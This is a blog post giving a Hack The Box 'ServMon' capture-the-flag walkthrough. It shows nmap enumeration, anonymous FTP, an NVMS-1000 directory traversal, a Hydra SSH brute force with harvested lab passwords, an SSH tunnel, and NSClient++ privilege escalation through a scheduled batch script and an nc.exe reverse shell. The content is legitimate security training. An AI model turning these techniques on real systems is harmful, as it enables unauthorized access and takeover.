DEV Community

nekohige
nekohige

Posted on

HTB - ServMon Writeup - no Metasploit

#ctf #htb #security

Enumeration

Let’s enumerate the open ports on the machine using nmap. I usually use nmap in 2 steps. First, I take a quick full-port sweep using following options.

  • -sS for a stealthy SYN scan, which is fast because it doesn’t complete the full 3-way handshake
  • -Pn to skip host discovery and assume the host is up, so that all ports actually get checked
  • -p- to scan all 65535 TCP ports
  • --open to only show ports that are open
  • -n to skip DNS resolution since in CTFs like HTB, private IPs usually don’t resolve to anything anyway
  • --min-rate 5000 to speed up the scan by sending at least 5000 packets per second
  • -oA scan_all to save the output in all three formats (.nmap, .xml, .gnmap) under the prefix scan_all 
sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.227.77
Enter fullscreen mode Exit fullscreen mode

Second, it’s time to dig deeper into the open ports using the following commands and options.

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
Enter fullscreen mode Exit fullscreen mode
  • grep -oP '\d+/open' to pull out every <port>/open match from scan_all.gnmap
  • cut -d/ -f1 to strip off the /open part, leaving just the port number
  • paste -sd, to join all those numbers from separate lines into one comma-separated string
  • the result is stored in the ports variable 
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.227.77
Enter fullscreen mode Exit fullscreen mode
  • -sS for a stealthy SYN scan, which is fast because it doesn’t complete the full 3-way handshake
  • -Pn to skip host discovery and assume the host is up, so that all ports actually get checked
  • -p "$ports" to limit the scan to only those open ports
  • -A to enable version detection (-sV), default NSE scripts (-sC), OS detection (-O), and traceroute all at once
  • -oN scan_deep.txt for saving the output to scan_deep.txt

Ports 135 (RPC), 139 (NetBIOS/SMB), and 445 (SMB) are open, while 53 (DNS), 389 (LDAP), and 88 (Kerberos) are closed. This suggests a standalone Windows machine that isn’t part of an Active Directory domain.
Port 21 (FTP) is open, and anonymous login is allowed.
Port 80 (HTTP) is open, indicating a web server is running. It's worth investigating further to see what application it’s hosting.

Some udp ports are open. We may come back.

Let's check Port 21(FTP) with anonymous login.

ftp 10.129.227.77
# anonymous
Enter fullscreen mode Exit fullscreen mode

Checking the inside, we can find that there are two users: Nadine and Nathan.

In Nadine folder, there is a file called Confidential.txt so download it.

In Nathan folder, there is a file called Note to do.txt so download it, too.

Confidential.txt says there is a Passwords.txt on the Desktop. But, we cannot find any credentials now.

Notes to do.txt mention about NVMS, NSClient and SharePoint.
Also, it infers that a public access to NVMS is still allowed. I'm not sure what is NVMS yet.

Searching the web, NVMS is Network Video Management System which records, manages and monitors network camera.
And, it has a Directory Traversal if it's NVMS-1000: https://www.exploit-db.com/exploits/47774.

When we open the Port 80 in the browser, it indicates NVMS-1000. So, we can try the Directory Traversal we found.
http://10.129.227.77/

Exploitation

It works!

Since Confidential.txt mentions that there’s a Passwords.txt file on the Desktop, let’s grab it.

These credentials can be used for a password brute-force attack.

echo '1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$' > pass.txt
Enter fullscreen mode Exit fullscreen mode

We know two usernames from the FTP enumeration.

echo 'Nadine
Nathan' > users.txt
Enter fullscreen mode Exit fullscreen mode

Let's start a password brute-force attack.

hydra -L users.txt -P pass.txt ssh://10.129.227.77 -t 4
Enter fullscreen mode Exit fullscreen mode

We get a credential: Nadine:L1k3B1gBut7s@W0rk.

Let's login.

ssh Nadine@10.129.227.77
Enter fullscreen mode Exit fullscreen mode

We get user.txt!

type C:\Users\Nadine\Desktop\user.txt
Enter fullscreen mode Exit fullscreen mode

Privilege Escalation

Checking the Program Files, there is a third party software: NSClient++ which is mentioned in the Notes to do.txt.

ls 'C:\Program Files','C:\Program Files (x86)',"$env:USERPROFILE\Downloads"
Enter fullscreen mode Exit fullscreen mode

According to HackTricks, there may be web credentials in nsclient.ini.
https://hacktricks.wiki/windows-hardening/windows-local-privilege-escalation/index.html

Let's see it.

 type 'C:\Program Files\NSClient++\nsclient.ini'
Enter fullscreen mode Exit fullscreen mode

We get password! ew2x6SsGTxjRwXOT.

After some googling, I found the official site for NSClient++. It explains how to use the commands.
https://nsclient.org/docs/quick-start/

I tried as follows to get its version.

After searching the internet, I found its vulnerability.
https://github.com/advisories/GHSA-jr25-22p3-gm6r

First, I opened the Port 8443 for nsclinent++. But, I couldn't login.

According to nsclient.ini, only 127.0.0.1 is allowed to connect.

 type 'C:\Program Files\NSClient++\nsclient.ini'
Enter fullscreen mode Exit fullscreen mode

I attempted pivoting.

ssh -N -L 0.0.0.0:9090:127.0.0.1:8443 Nadine@10.129.227.77
Enter fullscreen mode Exit fullscreen mode
  • -N for SSH connection to the target without running a remote shell
  • -L 0.0.0.0:9090:127.0.0.1:8443 to set up local port forwarding so that any connection to port 9090 on my machine gets tunneled through SSH and forwarded to 127.0.0.1:8443

Get through!

Then, I did the priviledge escalation as wirtten in exploit-db.
https://www.exploit-db.com/exploits/46802

'1. Grab web administrator password - already acquired: ew2x6SsGTxjRwXOT

'2. Login and enable following modules including enable at startup and save configuration
- CheckExternalScripts
- Scheduler

'3. Download nc.exe and evil.bat to c:\temp from attacking machine - I made it as follows.

mkdir temp
Enter fullscreen mode Exit fullscreen mode

'4. Setup listener on attacking machine

'5. Add script foobar to call evil.bat and save settings

'6. Add schedulede to call script every 1 minute and save settings

'7. Restart the computer and wait for the reverse shell on attacking machine - Clicking the Control button in the upper-right corner lets us restart NSClient, and we just wait a little...

We got it!

type C:\Users\Administrator\Desktop\root.txt
Enter fullscreen mode Exit fullscreen mode

Lessons Learned

  • I learned that a key-value configuration format can be abused for command execution.

Top comments (0)